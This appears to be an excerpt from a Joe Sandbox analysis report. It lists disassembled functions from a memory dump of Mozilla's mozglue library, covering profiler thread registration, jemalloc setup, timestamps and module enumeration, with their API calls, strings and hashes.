Part of subcall function 6C965E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965E9D
Part of subcall function 6C965E60: GetCurrentThreadId.KERNEL32 ref: 6C965EAB
Part of subcall function 6C965E60: GetCurrentThreadId.KERNEL32 ref: 6C965EB8
Part of subcall function 6C965E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965ECF
Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C965F27
Part of subcall function 6C965E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C965F47
Part of subcall function 6C965E60: GetCurrentProcess.KERNEL32 ref: 6C965F53
Part of subcall function 6C965E60: GetCurrentThread.KERNEL32 ref: 6C965F5C
Part of subcall function 6C965E60: GetCurrentProcess.KERNEL32 ref: 6C965F66
Part of subcall function 6C965E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C965F7E

free.MOZGLUE(?), ref: 6C99F9C5
free.MOZGLUE(?), ref: 6C99F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C99F71F
Thread , xrefs: 6C99F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C99F9A6
" attempted to re-register as ", xrefs: 6C99F858

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: adb053c41f4b996cf471cd50024806c6380a869b3b6f9227bf40ae8ed8245ea4
Instruction ID: 6b5310c5603d191f7ca0fc8477d7f63638681e90b96a7aec3afb15557e2c5248
Opcode Fuzzy Hash: adb053c41f4b996cf471cd50024806c6380a869b3b6f9227bf40ae8ed8245ea4
Instruction Fuzzy Hash: 8C81D4716047009FDB10DF24C840BAEB7B5FFA5308F59856DE849A7B51EB30E949CBA2

Function 6C99EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99EE60
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EE6D
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C99EEA5
CloseHandle.KERNEL32(?), ref: 6C99EEB4
free.MOZGLUE(00000000), ref: 6C99EEBB
GetCurrentThreadId.KERNEL32 ref: 6C99EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99EECF

Part of subcall function 6C99DE60: GetCurrentThreadId.KERNEL32 ref: 6C99DE73
Part of subcall function 6C99DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C964A68), ref: 6C99DE7B
Part of subcall function 6C99DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C964A68), ref: 6C99DEB8
Part of subcall function 6C99DE60: free.MOZGLUE(00000000,?,6C964A68), ref: 6C99DEFE
Part of subcall function 6C99DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C99DF38

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

GetCurrentThreadId.KERNEL32 ref: 6C99EF1E
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EF2B
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EF59
GetCurrentThreadId.KERNEL32 ref: 6C99EFB0
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EFBD
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99EFE1
GetCurrentThreadId.KERNEL32 ref: 6C99EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F000

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C99F02F

Part of subcall function 6C99F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C99F09B
Part of subcall function 6C99F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C99F0AC
Part of subcall function 6C99F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C99F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C99EED7
[I %d/%d] profiler_pause, xrefs: 6C99F008

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 451629b7ceba5a161d3ef492f19b905726d78a02939a6caee69f6441b36fb32a
Instruction ID: b8a4fbac2efcb96a32d5c2e6a1e40db27ab5d879d583546039f975c505bbd21f
Opcode Fuzzy Hash: 451629b7ceba5a161d3ef492f19b905726d78a02939a6caee69f6441b36fb32a
Instruction Fuzzy Hash: 88510531608A109FDB005BA4D80E7A577B8FB5631EF38465AE919A3F40DB31F884C7E2

Function 6C98D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9DE804), ref: 6C98D047
GetSystemInfo.KERNEL32(?), ref: 6C98D093
__Init_thread_footer.LIBCMT ref: 6C98D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9DE810,00000040), ref: 6C98D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7B8,00001388), ref: 6C98D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE744,00001388), ref: 6C98D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE784,00001388), ref: 6C98D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7DC,00001388), ref: 6C98D1B1

Strings

MOZ_CRASH(), xrefs: 6C98D277
<jemalloc>, xrefs: 6C98D268, 6C98D311
Compile-time page size does not divide the runtime one., xrefs: 6C98D26D
: (malloc) Unsupported character in malloc options: ', xrefs: 6C98D322
MALLOC_OPTIONS, xrefs: 6C98D0CB

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 616c17d146eabda93402be3f25cd2f4f1caf4e6c323954c565650965d5ccdee2
Instruction ID: bd55a90260161550d85c816f729a0fabb3bfec874916e14820055cbf37d57902
Opcode Fuzzy Hash: 616c17d146eabda93402be3f25cd2f4f1caf4e6c323954c565650965d5ccdee2
Instruction Fuzzy Hash: EE811871B0AA02DBEB04DF68C944B69B7B5FB56B04F20491AE901B7B80D771F880CBD1

Function 6C965E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965E9D

Part of subcall function 6C975B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9756EE,?,00000001), ref: 6C975B85
Part of subcall function 6C975B50: EnterCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975B90
Part of subcall function 6C975B50: LeaveCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975BD8
Part of subcall function 6C975B50: GetTickCount64.KERNEL32 ref: 6C975BE4

GetCurrentThreadId.KERNEL32 ref: 6C965EAB
GetCurrentThreadId.KERNEL32 ref: 6C965EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C965ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C966017

Part of subcall function 6C954310: moz_xmalloc.MOZGLUE(00000010,?,6C9542D2), ref: 6C95436A
Part of subcall function 6C954310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9542D2), ref: 6C954387

moz_xmalloc.MOZGLUE(00000004), ref: 6C965F47
GetCurrentProcess.KERNEL32 ref: 6C965F53
GetCurrentThread.KERNEL32 ref: 6C965F5C
GetCurrentProcess.KERNEL32 ref: 6C965F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C965F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C965F27

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C965E8C

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C96605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9655E1), ref: 6C9660CC

Strings

GeckoMain, xrefs: 6C965ECE, 6C966015

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 18007c623affa16d6fd482446bfd0e2da5a0232be5a4f48bdc9a41619676c588
Instruction ID: fe2a2cd9137c1a3b352bfc4f8bd3c8f569d5e34e782df34f2a83b2abc3ece42a
Opcode Fuzzy Hash: 18007c623affa16d6fd482446bfd0e2da5a0232be5a4f48bdc9a41619676c588
Instruction Fuzzy Hash: F871BFB0A09740DFD710DF25C480A6ABBF0BF69308F54496DE48687F92D730E998CB92

Function 6C969590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C953217
Part of subcall function 6C9531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C953236
Part of subcall function 6C9531C0: FreeLibrary.KERNEL32 ref: 6C95324B
Part of subcall function 6C9531C0: __Init_thread_footer.LIBCMT ref: 6C953260
Part of subcall function 6C9531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C95327F
Part of subcall function 6C9531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C95328E
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9532AB
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9532D1
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9532E5
Part of subcall function 6C9531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C969675
__Init_thread_footer.LIBCMT ref: 6C969697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C969707
__Init_thread_footer.LIBCMT ref: 6C96971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C9697B7
FreeLibrary.KERNEL32 ref: 6C9697D0
FreeLibrary.KERNEL32 ref: 6C9697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C969824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C969670
NtMapViewOfSection, xrefs: 6C969701
ntdll.dll, xrefs: 6C9696E3
MapViewOfFileNuma2, xrefs: 6C9697B1

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 0459d1096e69e22618129d6624f471f749d87a7f229ab371141dc1b5634dd1d8
Instruction ID: ad7bde9eeb5b4c124e74dcc735da0b360ff8e9eaf5045ce9313fcdfbf664f9e2
Opcode Fuzzy Hash: 0459d1096e69e22618129d6624f471f749d87a7f229ab371141dc1b5634dd1d8
Instruction Fuzzy Hash: A361E871608B05DBEF00CF65D885BDA7BB5EB4AB18F218519E915A7BC0D730F884CB91

Function 6C967FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C968007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C96801D

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C96802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C96803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C96808D

Part of subcall function 6C96CA10: mozalloc_abort.MOZGLUE(?), ref: 6C96CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C96809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C9680B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C9680DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9680ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9680FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C96810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C968133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C968149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C968167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C96817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C968199

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: c14b556d18c1698bfe8f38f2806a745741d886637b5ffda01ac28f81f30d86a6
Instruction ID: 65d4232a91dd285b52f2b3a9989be4e44a64ab7fc317eff88c13f0904f252403
Opcode Fuzzy Hash: c14b556d18c1698bfe8f38f2806a745741d886637b5ffda01ac28f81f30d86a6
Instruction Fuzzy Hash: 8A5196B1E001449BEF10DFA6DC849DFB7B9AF69224F250525E815E7781E730D904CBA2

Function 6C9B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6694
GetThreadId.KERNEL32(?), ref: 6C9B66B1
GetCurrentThreadId.KERNEL32 ref: 6C9B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C9B66E1
EnterCriticalSection.KERNEL32(6C9DF618), ref: 6C9B6734
GetCurrentProcess.KERNEL32 ref: 6C9B673A
LeaveCriticalSection.KERNEL32(6C9DF618), ref: 6C9B676C
GetCurrentThread.KERNEL32 ref: 6C9B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C9B6868
RtlCaptureContext.NTDLL ref: 6C9B687F

Strings

WalkStack64, xrefs: 6C9B6890

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 34f86f125093d951fe572f2d0265088715f95f22d465a7dddd451c0cb2d06836
Instruction ID: 7c12e1498edf45aa59936eb09e11e5efdcb7c3a4f13503f9025c66312e0df1ec
Opcode Fuzzy Hash: 34f86f125093d951fe572f2d0265088715f95f22d465a7dddd451c0cb2d06836
Instruction Fuzzy Hash: 3451BA71A09701AFDB15CF24C884A5BBBF8BF89714F10892DF999A7640D770F948CB92

Function 6C99DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99DE73
GetCurrentThreadId.KERNEL32 ref: 6C99DF7D
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99DF8A
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99DFC9
GetCurrentThreadId.KERNEL32 ref: 6C99DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C964A68), ref: 6C99DE7B

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C964A68), ref: 6C99DEB8
free.MOZGLUE(00000000,?,6C964A68), ref: 6C99DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C99DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C99E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C99DE83
<none>, xrefs: 6C99DFD7

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: f902343b7e8b750820e3b2788a3436ee2b01a62e8fa9e5a762b260bd1e6e05b7
Instruction ID: c88251a2a4174e7d531eee6086474c1a255687f447204ce14e138000e4d58790
Opcode Fuzzy Hash: f902343b7e8b750820e3b2788a3436ee2b01a62e8fa9e5a762b260bd1e6e05b7
Instruction Fuzzy Hash: 9F411632705A119FDB109F64C8497AE7779EB9530DF284019E90AA7F01CB30F855CBE2

Function 6C9AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD52A
GetCurrentThreadId.KERNEL32 ref: 6C9AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD55F
free.MOZGLUE(00000000), ref: 6C9AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C9AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD652
GetCurrentThreadId.KERNEL32 ref: 6C9AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AD6A2

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 92ef6caa1a516a407137336b66fef06897dc76b776a3bfbcb36d562016187863
Instruction ID: 68bd373f28a8817a722e4300504dce52bd0854999d4ed2a5bf06be0fe8af245e
Opcode Fuzzy Hash: 92ef6caa1a516a407137336b66fef06897dc76b776a3bfbcb36d562016187863
Instruction Fuzzy Hash: 92516CB1608B05DFC704DF65C484A9ABBB4FF89358F108A2EE95A97710DB30F985CB91

Function 6C975670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C9756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9756E9
